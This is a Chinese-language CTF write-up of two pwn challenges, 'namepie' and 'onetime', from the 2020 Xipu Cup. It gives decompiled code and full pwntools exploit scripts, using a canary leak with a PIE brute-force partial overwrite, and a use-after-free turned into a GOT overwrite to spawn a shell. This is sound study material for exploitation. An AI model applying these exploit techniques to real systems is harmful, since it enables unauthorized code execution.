menu EDS
西普杯2020第四赛区pwn writeup
551 浏览 | 2020-11-08 | 分类:pwn | 标签:

西普杯2020第四赛区pwn writeup

namepie

打开main()函数发现其只调用了sub_9A0();函数。

ssize_t sub_9A0()
{
  char s; // [rsp+0h] [rbp-30h]
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&s, 0, 0x1EuLL);
  puts("Input your Name:");
  read(0, &s, 0x30uLL);
  printf("hello %s: and what do your want to sey!\n", &s);
  return read(0, &s, 0x60uLL);
}

题目提供了后门函数。

int sub_A71()
{
  return system("/bin/sh");
}

动态调试时发现其三保护全开

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

sub_9A0()函数有两次输出栈的机会,利用第一次输入覆盖到栈底泄露canary,第二次覆盖返回地址到后门函数上。由于PIE保护的存在,脚本只有1/16的几率正确覆盖返回地址,利用死循环爆破,直到碰上为止。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'
local = 1
while True:
    try:

        if local == 1:
            r=process('./namepie')
            #gdb.attach(r,'b * $rebase(0x9ef)')
            libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        else:
            r=remote('node3.buuoj.cn',29790)
            libc = ELF('./libc-2.23.so')

        r.recvuntil('Name:')
        r.sendline('a'*(0x30-0x8-1)+'b')
        r.recvuntil('aaab')
        canary = u64(r.recv(8))-0xa
        print 'canary',hex(canary)
        r.recvuntil('sey!\n')
        r.send('a'*(0x30-8)+p64(canary)+p64(0xdeadbeef)+p16(0x3a71))
        sleep(1)
        r.sendline('cat flag')
        print(r.recv())

        r.interactive()
        exit()
    except:
        pass

onetime

menu()函数如下。

int sub_4007D6()
{
  puts("1:create pad");
  puts("2:fill pad");
  puts("3:show pad");
  puts("4:erase pad");
  return puts("your choice >>");
}

分别找出增删改查函数。
增函数 1选项

int sub_40080F()
{
  int result; // eax

  buf = malloc(0x60uLL);
  result = puts("complete!");
  dword_6020B8 = 1;
  return result;
}

改函数 2选项

int sub_40083B()
{
  int result; // eax

  printf("fill content:");
  read(0, buf, 0x40uLL);
  result = puts("complete!");
  dword_6020A0 = 1;
  return result;
}

查函数 3选项

int sub_400883()
{
  int result; // eax

  printf("data:%s\n", buf);
  result = puts("complete!");
  dword_6020B4 = 1;
  return result;
}

删函数 4选项

int sub_4008B7()
{
  int result; // eax

  free(buf);
  result = puts("complete!");
  dword_6020B8 = 0;
  dword_6020B0 = 1;
  return result;
}

还有一个隐藏的具有malloc()的选项5

__int64 sub_4008EB()
{
  printf("Hero! Leave your name:");
  buf = malloc(0x60uLL);
  read(0, buf, 0x60uLL);
  return (unsigned int)(dword_6020BC++ + 1);
}

每个函数只有一次使用机会,删函数使用后会增加一次增函数的使用机会。free()后指针未置零,仍可以进行改写操作,存在UAF漏洞,且该程序PIE未开,可以直接malloc到堆块地址附近进行改写,然后对GOT表进行改写获取权限。
首先构造UAF对buf变量进行覆盖,并将各增删改查函数的标志位清除。

add()
dele()
edit(p64(0x60208d))
add()
print 'ok'
inside(cyclic(11)+p64(elf.got['atoi'])+p64(0)+p64(0))

然后将buf存的地址改为atoi()的GOT地址泄露libc,并将其改为system()的地址。

r.recvuntil('data:')
#print hex(elf.got['atoi'])
system = u64(r.recv(6)+'\x00\x00')-libc.symbols['atoi']+libc.symbols['system']
print hex(system)
edit(p64(system))
r.sendline('sh')#不知道为什么‘/bin/sh’会提示权限问题

最终exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
#context.log_level = 'debug'


local = 1
if local == 1:
    r=process('./onetime')
    #gdb.attach(r,'b * malloc')
    gdb.attach(r,'b * 0x400992')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r=remote('node3.buuoj.cn',29790)
    libc = ELF('./libc-2.23.so')

elf = ELF('./onetime')
def add():
    r.recvuntil("choice >>")
    r.sendline("1")

def edit(content):
    r.recvuntil("choice >>")
    r.sendline("2")
    r.recvuntil("content:")
    r.sendline(content)

def show():
    r.recvuntil("choice >>")
    r.sendline("3")


def dele():
    r.recvuntil("choice >>")
    r.sendline("4")

def inside(content):
    r.recvuntil("choice >>")
    r.sendline("5")
    r.recvuntil("name:")
    r.sendline(content)


add()
dele()
edit(p64(0x60208d))
add()
print 'ok'
inside(cyclic(11)+p64(elf.got['atoi'])+p64(0)+p64(0))
show()
r.recvuntil('data:')
#print hex(elf.got['atoi'])
system = u64(r.recv(6)+'\x00\x00')-libc.symbols['atoi']+libc.symbols['system']
print hex(system)
edit(p64(system))
r.sendline('sh')

r.interactive()

发表评论

email
web

全部评论 (暂无评论)

info 还没有任何评论,你来说两句呐!